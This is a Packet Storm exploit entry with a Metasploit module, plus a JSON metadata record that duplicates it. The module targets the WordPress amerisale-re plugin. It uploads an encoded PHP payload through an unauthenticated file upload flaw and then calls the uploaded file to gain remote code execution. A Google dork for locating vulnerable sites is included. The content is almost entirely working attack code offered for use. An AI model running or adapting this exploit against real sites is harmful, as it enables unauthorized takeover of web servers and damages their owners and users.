ID PACKETSTORM:124992
Type packetstorm
Reporter T3rm!nat0r5
Modified 2014-01-30T00:00:00
Description
`# Exploit Title : Wordpress amerisale-re Remote Shell Upload
# Exploit Author : T3rm!nat0r5
# Vendor Homepage : http://wordpress.org/
# Google Dork : inurl:/wp-content/plugins/amerisale-re
# Date : 2014/01/30
# Tested on : Windows 8 , Linux
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress amerisale-re Plugin Remote
Shell Upload',
'Description' => %q{
This module exploits an arbitrary PHP File Upload and Code
Execution flaw in some
WordPress blog software plugins. The vulnerability allows for
arbitrary file upload
and remote code execution POST Data to Vulnerable Script/File in the plugin.
},
'Author' => [ 'T3rm!nat0r5 [Forever]' ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 999999
},
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0,
))
register_options(
[
OptString.new('Target', [true, "Wordpress Path", "/"]),
OptString.new('PLUGIN', [true, "Full path of Plugin and
Vulnerable File", "/"]),
OptString.new('UDP', [true, "File Upload Path", "/"])
], self.class)
end
def check
uri = datastore['Target']
plug = datastore['PLUGIN']
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}'/'#{plug}"
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = datastore['Target']
plug = datastore['PLUGIN']
path = datastore['UDP']
peer = "#{rhost}:#{rport}"
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>",
"application/octet-stream", nil,
"form-data; name=\"Filedata\";
filename=\"#{rand_text_alphanumeric(6)}.php\"")
print_status("#{peer} - Sending payload")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}'/'#{plug}",
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
'data' => post_data.to_s
})
if not res or res.code != 200 or res.body !~
/\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}'/'#{path}'/'#{$1}.php"
})
if res and res.code != 200
print_error("#{peer} - Server returned #{res.code.to_s}")
end
end
end
# Exploit by T3rm!nat0r5
`
{"id": "PACKETSTORM:124992", "type": "packetstorm", "bulletinFamily": "exploit", "title": "WordPress Amerisale-Re Remote Shell Upload", "description": "", "published": "2014-01-30T00:00:00", "modified": "2014-01-30T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/124992/WordPress-Amerisale-Re-Remote-Shell-Upload.html", "reporter": "T3rm!nat0r5", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:15:51", "viewCount": 4, "enchantments": {"score": {"value": -0.0, "vector": "NONE", "modified": "2016-11-03T10:15:51", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:15:51", "rev": 2}, "vulnersScore": -0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/124992/wpamerisalere-shell.rb.txt", "sourceData": "`# Exploit Title : Wordpress amerisale-re Remote Shell Upload \n# Exploit Author : T3rm!nat0r5 \n# Vendor Homepage : http://wordpress.org/ \n# Google Dork : inurl:/wp-content/plugins/amerisale-re \n# Date : 2014/01/30 \n# Tested on : Windows 8 , Linux \n# This module requires Metasploit: http//metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n \nrequire 'msf/core' \nclass Metasploit4 < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Wordpress amerisale-re Plugin Remote \nShell Upload', \n'Description' => %q{ \nThis module exploits an arbitrary PHP File Upload and Code \nExecution flaw in some \nWordPress blog software plugins. The vulnerability allows for \narbitrary file upload \nand remote code execution POST Data to Vulnerable Script/File in the plugin. \n}, \n'Author' => [ 'T3rm!nat0r5 [Forever]' ], \n'Privileged' => false, \n'Payload' => \n{ \n'DisableNops' => true, \n'Space' => 999999 \n}, \n'Platform' => 'PHP', \n'Arch' => ARCH_PHP, \n'Targets' => [[ 'Automatic', { }]], \n'DefaultTarget' => 0, \n)) \n \nregister_options( \n[ \nOptString.new('Target', [true, \"Wordpress Path\", \"/\"]), \nOptString.new('PLUGIN', [true, \"Full path of Plugin and \nVulnerable File\", \"/\"]), \nOptString.new('UDP', [true, \"File Upload Path\", \"/\"]) \n], self.class) \nend \n \ndef check \nuri = datastore['Target'] \nplug = datastore['PLUGIN'] \n \nres = send_request_cgi({ \n'method' => 'GET', \n'uri' => \"#{uri}'/'#{plug}\" \n}) \n \nif res and res.code == 200 \nreturn Exploit::CheckCode::Detected \nelse \nreturn Exploit::CheckCode::Safe \nend \nend \n \ndef exploit \n \nuri = datastore['Target'] \nplug = datastore['PLUGIN'] \npath = datastore['UDP'] \n \npeer = \"#{rhost}:#{rport}\" \n \npost_data = Rex::MIME::Message.new \npost_data.add_part(\"<?php #{payload.encoded} ?>\", \n\"application/octet-stream\", nil, \n\"form-data; name=\\\"Filedata\\\"; \nfilename=\\\"#{rand_text_alphanumeric(6)}.php\\\"\") \n \nprint_status(\"#{peer} - Sending payload\") \n \nres = send_request_cgi({ \n'method' => 'POST', \n'uri' => \"#{uri}'/'#{plug}\", \n'ctype' => 'multipart/form-data; boundary=' + post_data.bound, \n'data' => post_data.to_s \n}) \n \nif not res or res.code != 200 or res.body !~ \n/\\{\\\"raw_file_name\\\"\\:\\\"(\\w+)\\\"\\,/ \nprint_error(\"#{peer} - File wasn't uploaded, aborting!\") \nreturn \nend \n \nprint_good(\"#{peer} - Our payload is at: #{$1}.php! Calling payload...\") \nres = send_request_cgi({ \n'method' => 'GET', \n'uri' => \"#{uri}'/'#{path}'/'#{$1}.php\" \n}) \n \nif res and res.code != 200 \nprint_error(\"#{peer} - Server returned #{res.code.to_s}\") \nend \n \nend \n \nend \n# Exploit by T3rm!nat0r5 \n`\n", "immutableFields": []}
{}